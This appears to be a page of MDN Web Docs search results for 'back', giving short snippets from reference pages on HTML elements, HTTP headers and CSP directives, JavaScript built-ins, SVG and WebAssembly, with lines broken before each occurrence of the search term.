background: #69c; color: #fff; padding: 5px 10px; } javascript var canvas = document.queryselector('canvas'), c = canvas.getcontext('2d'); c.fillstyle = 'hotpink'; function draw(x, y) { if (isdrawing) { c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlisten...
... <body> <a href="#content">skip to main content</a> <header> … </header> <main id="content"> <!-- the skip link jumps to here --> .skip-link { position: absolute; top: -3em;
background: #fff; } .skip-link:focus { top: 0; } skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em;
background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; } details > p { border-radius: 0 0 10px 10px;
background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where clicking the tab opens it to reveal its contents.
... css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em;
background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px;
background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where activating the tab exp...
<img>: The Image Embed element - HTML: Hypertext Markup Language
if the server does not opt into sharing credentials with the origin site (by sending
back the access-control-allow-credentials: true response header), then the browser marks the image as tainted and restricts access to its image data.
...this gives users without pointing devices a fall
back destination.
<input type="button"> - HTML: Hypertext Markup Language
a settimeout() function is then used to reset the button
back to its enabled state after two seconds.
... <div class="toolbar"> <input type="color" aria-label="select pen color"> <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> <input type="button" value="clear canvas"> </div> <canvas class="mycanvas"> <p>add suitable fall
back here.</p> </canvas> body {
background: #ccc; margin: 0; overflow: hidden; } .toolbar {
background: #ccc; width: 150px; height: 75px; padding: 5px; } input[type="color"], input[type="button"] { width: 90%; margin: 0 auto; display: block; } input[type="range"] { width: 70%; } span { position: relative; bottom: 5px; } var canvas = document.queryselector('.mycanvas')...
<input type="image"> - HTML: Hypertext Markup Language
<div> <input id="image" type="image" src="/static/external/62/62ac2ecddbec0e0b540098c28451e57203e5cab46dfed7ab0115d5a659fcfb7b.png" alt="login" width="200" height="100"> </div> </form> css div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } #image { object-position: right top; object-fit: contain;
background-color: #ddd; } here, object-position is configured to draw the image at the top-right corner of the element, while object-fit is set to contain, which indicates that the image should be drawn at the largest size that will fit within the element's box without altering its aspect ratio.
... note the visible grey
background of the element still visible in the area not covered by the image.
<input type="number"> - HTML: Hypertext Markup Language
on browsers that don't support inputs of type number, a number input falls
back to type text.
... (note that we're not converting
back and forth between meters and feet/inches here, which a real-life web application would probably do.) note: when the user clicks the button, the required attribute(s) are removed from the input(s) we are hiding, and empty the value attribute(s).
Standard metadata names - HTML: Hypertext Markup Language
the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everything from
background and foregrounds to form controls and scrollbars.
... only light indicates that the document only supports light mode, with a light
background and dark foreground colors.
<style>: The Style Information element - HTML: Hypertext Markup Language
<!doctype html> <html> <head> <style> p { color: white;
background-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue;
background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the previous one, including a media attribute on the second <style> element so it is only applied when the v...
... <!doctype html> <html> <head> <style> p { color: white;
background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue;
background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
<th> - HTML: Hypertext Markup Language
bgcolor this attribute defines the
background color of each cell in a column.
...to create a similar effect use the
background-color property in css instead.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
subtitles may contain additional content, usually extra
background information.
...ck kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> <track kind="metadata" src="keystage1.vtt" srclang="en" label="key stage 1"> <track kind="metadata" src="keystage2.vtt" srclang="en" label="key stage 2"> <track kind="metadata" src="keystage3.vtt" srclang="en" label="key stage 3"> <!-- fall
back --> ...
Inline elements - HTML: Hypertext Markup Language
first, some simple css that we'll be using: .highlight {
background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</span>; its
background has been colored to display both the beginning and end of the inline element's influence.</div> in this example, the <div> block-level element contains some text.
...because the <span> element is inline, the paragraph correctly renders as a single, unbroken text flow, like this: for looks, this css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight {
background-color:#ee3; } block-level now let's change that <span> into a block-level element, such as <p>: <div>the following paragraph is a <p class="highlight">block-level element;</p> its
background has been colored to display both the beginning and end of the block-level element's influence.</div> the css (not displayed in standard reading mode) is also used: body { margin: 0; padding: 4px; border: 1px solid #333; } .highlight {
background...
Content Security Policy (CSP) - HTTP
csp is designed to be fully
backward compatible (except csp version 2 where there are some explicitly-mentioned inconsistencies in
backward compatibility; more details here section 1.1).
...your policy should include a default-src policy directive, which is a fall
back for other resource types when they don't have policies of their own (for a complete list, see the description of the default-src directive).
Connection management in HTTP/1.x - HTTP
persistent connections also have draw
backs; even when idling they consume server resources, and under heavy load, dos attacks can be conducted.
... in http/1.1, persistence is the default, and the header is no longer needed (but it is often added as a defensive measure against cases requiring a fall
back to http/1.0).
Using HTTP cookies - HTTP
the browser may store it and send it
back with later requests to the same server.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends
back all previously stored cookies to the server using the cookie header.
CSP: frame-ancestors - HTTP
csp version 2 directive type navigation directive default-src fall
back no.
...it will also not fall
back to a default-src setting.
CSP: script-src - HTTP
csp version 1 directive type fetch directive default-src fall
back yes.
... script-src 'strict-dynamic' 'nonce-somenonce' or script-src 'strict-dynamic' 'sha256-base64encodedhash' it is possible to deploy strict-dynamic in a
backwards compatible way, without requiring user-agent sniffing.
CSP: style-src-attr - HTTP
csp version 3 directive type fetch directive default-src fall
back yes.
... if this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fall
back to default-src directive.
CSP: style-src-elem - HTTP
csp version 3 directive type fetch directive default-src fall
back yes.
... if this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fall
back to default-src directive.
If-Range - HTTP
the if-range http request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server sends
back a 206 partial content answer with the appropriate body.
... if the condition is not fulfilled, the full resource is sent
back, with a 200 ok status.
Pragma - HTTP
it is used for
backwards compatibility with http/1.0 caches where the cache-control http/1.1 header is not yet present.
...use pragma only for
backwards compatibility with http/1.0 clients.
Public-Key-Pins - HTTP
the use of
backup certificates and/or pinning the ca certificate is recommended.
...the second pin declaration pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe=" also pins the
backup key.
Range - HTTP
several parts can be requested with one range header at once, and the server may send
back these ranges in a multipart document.
... if the server sends
back ranges, it uses the 206 partial content for the response.
Set-Cookie - HTTP
the set-cookie http response header is used to send a cookie from the server to the user agent, so the user agent can send it
back to the server later.
... a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, comma, semicolon, and
backslash.
TRACE - HTTP
the http trace method performs a message loop-
back test along the path to the target resource, providing a useful debugging mechanism.
... the final recipient of the request should reflect the message received, excluding some fields described below,
back to the client as the message body of a 200 (ok) response with a content-type of message/http.
Protocol upgrade mechanism - HTTP
if the server decides to upgrade the connection, it sends
back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to.
... if it does not (or cannot) upgrade the connection, it ignores the upgrade header and sends
back a regular response (for example, a 200 ok).
Redirections in HTTP - HTTP
in this case, the server can send
back a 303 (see other) response for a url that will contain the right information.
... most of the time this is a server problem, and if the server cannot detect it, it will send
back a 500 internal server error.
HTTP response status codes - HTTP
this is mostly used for mirrors or
backups of another resource.
...this response is intended to prevent the 'lost update' problem, where a client gets a resource's state, modifies it, and puts it
back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.
Inheritance and the prototype chain - JavaScript
the only good reason for extending a built-in prototype is to
backport the features of newer javascript engines, like array.foreach.
... name example(s) pro(s) con(s) new-initialization function foo(){} foo.prototype = { foo_prop: "foo val" }; function bar(){} var proto = new foo; proto.bar_prop = "bar val"; bar.prototype = proto; var inst = new bar; console.log(inst.foo_prop); console.log(inst.bar_prop); supported in every browser imaginable (support goes all the way
back to ie 5.5!).
TypeError: "x" is not a function - JavaScript
there are many built-in functions in need of a (call
back) function.
...() examples a typo in the function name in this case, which happens way too often, there is a typo in the method name: let x = document.getelementbyid('foo'); // typeerror: document.getelementbyid is not a function the correct function name is getelementbyid: let x = document.getelementbyid('foo'); function called on the wrong object for certain methods, you have to provide a (call
back) function and it will work on specific objects only.
TypeError: Reduce of empty array with no initial value - JavaScript
these functions optionally take an initialvalue (which will be used as the first argument to the first call of the call
back).
... var ints = [0, -1, -2, -3, -4, -5]; ints.filter(x => x > 0) // removes all elements .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addition another way would be two to handle the empty case, either before calling reduce, or in the call
back after adding an unexpected dummy initial value.
Arrow function expressions - JavaScript
function person() { var that = this; that.age = 0; setinterval(function growup() { // the call
back refers to the `that` variable of which // the value is the expected object.
... let call
back; call
back = call
back || function() {}; // ok call
back = call
back || () => {}; // syntaxerror: invalid arrow-function arguments call
back = call
back || (() => {}); // ok examples basic usage // an empty arrow function returns undefined let empty = () => {}; (() => 'foobar')(); // returns "foobar" // (this is an immediately invoked function expression) var simple = a => a > 15 ?
BigInt.prototype.toLocaleString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var bigint = 123456789123456789n; // german uses period for thousands console.log(bigint.tolocalestring('de-de')); // → 123.456.789.123.456.789 // arabic in most arabic speaking countries uses eastern arabic digits console.log(bigint.tolocalestring('ar-eg')); // → ١٢٣٬٤٥٦٬٧٨٩٬١٢٣٬٤٥٦٬٧٨٩ // india uses thousands/lakh/crore separ...
...chinese decimal console.log(bigint.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六,七八九,一二三,四五六,七八九 // when requesting a language that may not be supported, such as // balinese, include a fall
back language, in this case indonesian console.log(bigint.tolocalestring(['ban', 'id'])); // → 123.456.789.123.456.789 using options the results provided by tolocalestring can be customized using the options argument: var bigint = 123456789123456789n; // request a currency format console.log(bigint.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456.789.123.456.789,00 € // the ja...
Date.prototype.toLocaleDateString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order console.log(date.tolocaledatestring('en-us')); // → "12/19/2012" // british english uses day-month-year order console.log(date.tolocaledatestring('en-gb')); // → "20...
...ries uses real arabic digits console.log(date.tolocaledatestring('ar-eg')); // → "٢٠/١٢/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(date.tolocaledatestring('ja-jp-u-ca-japanese')); // → "24/12/20" // when requesting a language that may not be supported, such as // balinese, include a fall
back language, in this case indonesian console.log(date.tolocaledatestring(['ban', 'id'])); // → "20/12/2012" using options the results provided by tolocaledatestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; c...
Date.prototype.toLocaleString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: let date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses month-day-year order and 12-hour time with am/pm console.log(date.tolocalestring('en-us')); // → "12/19/2012, 7:00:00 pm" // british english uses day-month-year order and 24-hour time with...
...abic digits console.log(date.tolocalestring('ar-eg')); // → "٢٠/١٢/٢٠١٢ ٥:٠٠:٠٠ ص" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(date.tolocalestring('ja-jp-u-ca-japanese')); // → "24/12/20 12:00:00" // when requesting a language that may not be supported, such as // balinese, include a fall
back language (in this case, indonesian) console.log(date.tolocalestring(['ban', 'id'])); // → "20/12/2012 11.00.00" using options the results provided by tolocalestring() can be customized using the options argument: let date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // request a weekday along with a long date let options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }...
Date.prototype.toLocaleTimeString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // formats below assume the local time zone of the locale; // america/los_angeles for the us // us english uses 12-hour time with am/pm console.log(date.tolocaletimestring('en-us')); // → "7:00:00 pm" // british english uses 24-hour time without am/pm console.log(date.tolocaletimestring('en-gb')); /...
.../ → "03:00:00" // korean uses 12-hour time with am/pm console.log(date.tolocaletimestring('ko-kr')); // → "오후 12:00:00" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaletimestring('ar-eg')); // → "٧:٠٠:٠٠ م" // when requesting a language that may not be supported, such as // balinese, include a fall
back language, in this case indonesian console.log(date.tolocaletimestring(['ban', 'id'])); // → "11.00.00" using options the results provided by tolocaletimestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // an application may want to use utc and make that visible var options = { timezone: 'utc', timezonename: 'short' }; console.log(date.tolocaletimestring('en-us', opti...
Date - JavaScript
it needs real-world feed
back from web developers, but is not yet ready for production use!
...t start = date.now() // the event to time goes here: dosomethingforalongtime() let end = date.now() let elapsed = end - start // elapsed time in milliseconds // using built-in methods let start = new date() // the event to time goes here: dosomethingforalongtime() let end = new date() let elapsed = end.gettime() - start.gettime() // elapsed time in milliseconds // to test a function and get
back its return function printelapsedtime(ftest) { let nstarttime = date.now(), vreturn = ftest(), nendtime = date.now() console.log(`elapsed time: ${ string(nendtime - nstarttime) } milliseconds`) return vreturn } let yourfunctionreturn = printelapsedtime(yourfunction) note: in browsers that support the web performance api's high-resolution time feature, performance.now() can p...
Error.prototype.stack - JavaScript
the stack string proceeds from the most recent calls to earlier ones, leading
back to the original global scope call.
...while an object (or array, etc.) would appear in the converted form "[object object]", and as such could not be evaluated
back into the actual objects, scalar values could be retrieved (though it may be — it is still possible in firefox 14 — easier to use arguments.callee.caller.arguments, as could the function name be retrieved by arguments.callee.caller.name).
FinalizationRegistry.prototype.register() - JavaScript
the register() method registers an object with a finalizationregistry instance so that if the object is garbage-collected, the registry's call
back may get called.
... notes see the avoid where possible and notes on cleanup call
backs sections of the finalizationregistry page for important caveats.
Intl.Collator - JavaScript
static methods intl.collator.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall
back to the runtime's default locale.
...in order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: // in german, ä sorts with a console.log(new intl.collator('de').compare('ä', 'z')); // → a negative value // in swedish, ä sorts after z console.log(new intl.collator('sv').compare('ä', 'z')); // → a positive value using options the results provided by collator.prototype.compare() can be customized using the options argument: // in german, ä ...
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
fall
back the value provided for this property in the options argument of the constructor or the default value ("code").
... examples using resolvedoptions const displaynames = new intl.displaynames(['de-de'], {type: 'region'}); const usedoptions = displaynames.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "long" console.log(usedoptions.type); // "region" console.log(usedoptions.fall
back); // "code" specifications specification intl.displaynamesthe definition of 'resolvedoptions()' in that specification.
Intl.PluralRules - JavaScript
static methods intl.pluralrules.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall
back to the runtime's default locale.
...in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: // arabic has different plural rules new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ...
Map - JavaScript
map.prototype.foreach(call
backfn[, thisarg]) calls call
backfn once for each key-value pair present in the map object, in insertion order.
... if a thisarg parameter is provided to foreach, it will be used as the this value for each call
back.
Number.prototype.toLocaleString() - JavaScript
in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var number = 123456.789; // german uses comma as decimal separator and period for thousands console.log(number.tolocalestring('de-de')); // → 123.456,789 // arabic in most arabic speaking countries uses eastern arabic digits console.log(number.tolocalestring('ar-eg')); // → ١٢٣٤٥٦٫٧٨٩ // india uses thousands/lakh/crore separators console.lo...
...chinese decimal console.log(number.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fall
back language, in this case indonesian console.log(number.tolocalestring(['ban', 'id'])); // → 123.456,789 using options the results provided by tolocalestring can be customized using the options argument: var number = 123456.789; // request a currency format console.log(number.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency...
Promise.prototype.then() - JavaScript
it takes up to two arguments: call
back functions for the success and failure cases of the promise.
...receive "foobar", register a call
back function to work on that string // and print it to the console, but not before returning the unworked on // string to the next then .then(function(string) { settimeout(function() { string += 'baz'; console.log(string); // foobarbaz }, 1) return string; }) // 3.
Set - JavaScript
set.prototype.foreach(call
backfn[, thisarg]) calls call
backfn once for each value present in the set object, in insertion order.
... if a thisarg parameter is provided, it will be used as the this value for each invocation of call
backfn.
TypedArray.prototype.map() - JavaScript
syntax typedarray.map(mapfn[, thisarg]) parameters mapfn a call
back function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
... description the map() method calls a provided call
back function (mapfn) once for each element in a typed array, in order, and constructs a new typed array from the results.
WeakRef - JavaScript
if an application or library depends on gc cleaning up a weakref or calling a finalizer [cleanup call
back] in a timely, predictable manner, it's likely to be disappointed: the cleanup may happen much later than expected, or not at all.
... if the target of a weakref is also in a finalizationregistry, the weakref's target is cleared at the same time or before any cleanup call
back associated with the registry is called; if your cleanup call
back calls deref on a weakref for the object, it will receive undefined.
import - JavaScript
backward compatibility can be ensured using attribute nomodule on the <script> tag.
... the module: file.js function getjson(url, call
back) { let xhr = new xmlhttprequest(); xhr.onload = function () { call
back(this.responsetext) }; xhr.open('get', url, true); xhr.send(); } export function getusefulcontents(url, call
back) { getjson(url, data => call
back(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', data => { dos...
Strict mode - JavaScript
in normal code assigning to nan does nothing; the developer receives no failure feed
back.
...exercise caution in using strict mode, and
back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented.
display - Web app manifests
values the possible values are: display mode description fall
back display mode fullscreen all of the available display area is used and no user agent chrome is shown.
... (none) example "display": "standalone" specification specification status comment feed
back web app manifestthe definition of 'display' in that specification.
Web app manifests
click each one for more information about it:
background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "
background_color": "#fff", "description": "a simply readable hacker news app."...
...this splashscreen is auto-generated from properties in the web app manifest, specifically: name
background_color the icon in the icons array that is closest to 128dpi for the device.
<mfenced> - MathML
math
background the
background color.
...use the <mrow> and <mo> elements instead, or, for
backwards compatibility, see mathml-polyfills/mfenced.
<mmultiscripts> - MathML
to learn more about the mathematical
background of tensors refer to the entry on wikipedia.
... math
background the
background color.
Digital audio concepts - Web media technologies
when it comes time to play
back that sound later, these amplitudes are used to generate an approximation of the original waveform; instead of playing
back an exact duplicate of the original, smooth wave, the rougher, blue wave is played.
...the encoder will attempt to produce an encoded sound file that, when playing it
back, uses, on average, the specified number of bits for each second of audio.
Using images in HTML - Web media technologies
areas of the box which aren't covered by the replaced element's object will show the element's
background.
...
background-image the
background-image css property sets one or more
background images for an element.
Understanding latency - Web Performance
latency is generally considered to be the amount of time it takes from when a request is made by the user to the time it takes for the response to get
back to that user.
...including the time it takes for a byte of data to make it from the responding computer
back to the requesting computer.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-
background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-lin...
... value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-
background deprecated since svg 2 it tells the browser how to manage the accumulation of the
background image.
begin - SVG: Scalable Vector Graphics
seeking
backwards in the timeline doesn't re-insert the discarded elements.
... so, authors are encouraged to set the play
backorder attribute to forwardonly when using the <discard> element.
requiredFeatures - SVG: Scalable Vector Graphics
this provides a way to design svg that gracefully falls
back when features aren't available.
... http://www.w3.org/tr/svg11/feature#containerattribute the browser supports the enable-
background attribute http://www.w3.org/tr/svg11/feature#conditionalprocessing the browser supports the <switch> element, and the requiredfeatures, requiredextensions, systemlanguage attributes http://www.w3.org/tr/svg11/feature#image the browser supports the <image> element.
SVG Attribute reference - SVG: Scalable Vector Graphics
baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-
background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h ...
... alignment-baseline, baseline-shift, clip, clip-path, clip-rule, color, color-interpolation, color-interpolation-filters, color-profile, color-rendering, cursor, direction, display, dominant-baseline, enable-
background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-o...
<a> - SVG: Scalable Vector Graphics
value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the
background).
...may be required for
backwards compatibility for older browsers.
Namespaces crash course - SVG: Scalable Vector Graphics
background it has been a long standing goal of the w3c to make it possible for different types of xml based content to be mixed together in the same xml file.
...hence to get the value of the xlink:href parameter of an <a> element in svg you would write: elt.getattributens('http://www.w3.org/1999/xlink', 'href'); for setting parameters that have a namespace, it is recommended (but not required) that you also include their prefix in the second parameter so that the dom can later be more easily converted
back to xml (if for instance you want to send it
back to the server).
Basic Transformations - SVG: Scalable Vector Graphics
<svg width="40" height="50" style="
background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> the example will render a rectangle, translated to the point (30,40) instead of (0,0).
... <svg width="40" height="50" style="
background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" /> </svg> this example shows again the small square shown above that this time is also rotated by 45 degrees.
Gradients in SVG - SVG: Scalable Vector Graphics
"reflect" causes the gradient to continue on, but reflected in reverse, starting with the color offset at 100% and moving
back to the offset at 0%, and then
back up again.
... "repeat" also lets the gradient continue, but instead of going
backwards, it just jumps
back to the beginning and runs again.
Paths - SVG: Scalable Vector Graphics
this command draws a straight line from the current position
back to the first point of the path.
...for instance, since our box is 80×80, the <path> element could have been written as: <path d="m 10 10 h 80 v 80 h -80 z" fill="transparent" stroke="black"/> the path will move to point (10,10) and then move horizontally 80 points to the right, then 80 points down, then 80 points to the left, and then
back to the start.
Certificate Transparency - Web security
background ct logs are built upon the foundation of the merkle tree data structure.
... certificate transparency initially came about in 2013 against a
backdrop of ca compromises (diginotar breach in 2011), questionable decisions (trustwave subordinate root incident in 2012) and technical issuance issues (weak, 512 bit certificate issuance by digicert sdn bhd of malaysia).
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
use the {{listsubpages}} macro once the bcd for <xsl:fall
back>, <xsl:import>, <xsl:namespace-alias>, <xsl:number>, <xsl:output>, <xsl:stylesheet>, <xsl:text> and <xsl:value-of> is fully migrated.
... <xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:comment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fall
back><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:call-template> <xsl:choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fall
back> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) ...
Index - XSLT: Extensible Stylesheet Language Transformations
31 <xsl:fall
back> element, reference, xslt, fall
back the <xsl:fall
back> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
...to prevent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted
back to the xslt namespace in the output tree.
Caching compiled WebAssembly modules - WebAssembly
if opening the database failed (for example due to permissions or quota), we fall
back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into).
... errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { return results.instance }); }); } caching a wasm module with the above library function defined, getting a wasm module instance and using its exported features (while handling caching in the
background) is as simple as calling it with the following parameters: a cache version, which — as we explained above — you need to update when any wasm module is updated or moved to a different url.
Exported WebAssembly functions - WebAssembly
when you call them, you get some activity in the
background to convert the arguments into types that wasm can work with (for example converting javascript numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed
back to javascript.
... to prove this, we then retrieve these references
back from othertable and print their results to console too, which gives the same results.
Understanding WebAssembly text format - WebAssembly
so,
back to the typechecking.
...externref is opaque from the point of view of webassembly — a wasm module can't access and manipulate these values and instead can only receive them and pass them
back out.
Using the WebAssembly JavaScript API - WebAssembly
note: if you are unfamiliar with the basic concepts mentioned in this article and need more explanation, read webassembly concepts first, then come
back.
... go
back to your memory.html sample file, and fetch, compile, and instantiate your wasm module as before — add the following to the bottom of your script: webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(results => { // add code here }); since this module exports its memory, given an instance of this module called instance we can use an exported function a...
Reddit Example - Archive of obsolete content
event.stoppropagation(); event.preventdefault(); self.port.emit('click', t.tostring()); }); this script uses jquery to interact with the dom of the page and the self.port.emit function to pass urls
back to the add-on script.
Communicating using "port" - Archive of obsolete content
').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.port.on('click', function(html) { worker.port.emit('warning', 'do not click this again'); }); } }); in the add-on above there are two user-defined messages: click is sent from the page-mod to the add-on, when the user clicks an element in the page warning sends a silly string
back to the page-mod port.emit() the port.emit() function sends a message from the "main.js", or another add-on module, to a content script, or vice versa.
Content Scripts - Archive of obsolete content
ventlistener('click', function(event) { self.port.emit('click', event.target.tostring()); event.stoppropagation(); event.preventdefault(); }, false); self.port.on('warning', function(message) { window.alert(message); }); in the add-on above there are two messages: click is sent from the page-mod to the add-on, when the user clicks an element in the page warning sends a silly string
back to the page-mod from tab.attach() the tab.attach() method returns the worker you can use to communicate with the content script(s) you attached.
Porting the Library Detector - Archive of obsolete content
however, instead of maintaining its own state by listening for gbrowser events and updating the user interface, the content script will just run when it's loaded, collect the array of library names, and post it
back to main.js: function testlibraries() { var win = unsafewindow; var librarylist = []; for(var i in ld_tests) { var passed = ld_tests[i].test(win); if (passed) { var libraryinfo = { name: i, version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fe...
XUL Migration Guide - Archive of obsolete content
this simple example modifies the selected tab's css to enable the user to highlight the selected tab: function highlightactivetab() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); var tab = require("sdk/tabs/utils").getactivetab(window); if (tab.style.getpropertyvalue('
background-color')) { tab.style.setproperty('
background-color','','important'); } else { tab.style.setproperty('
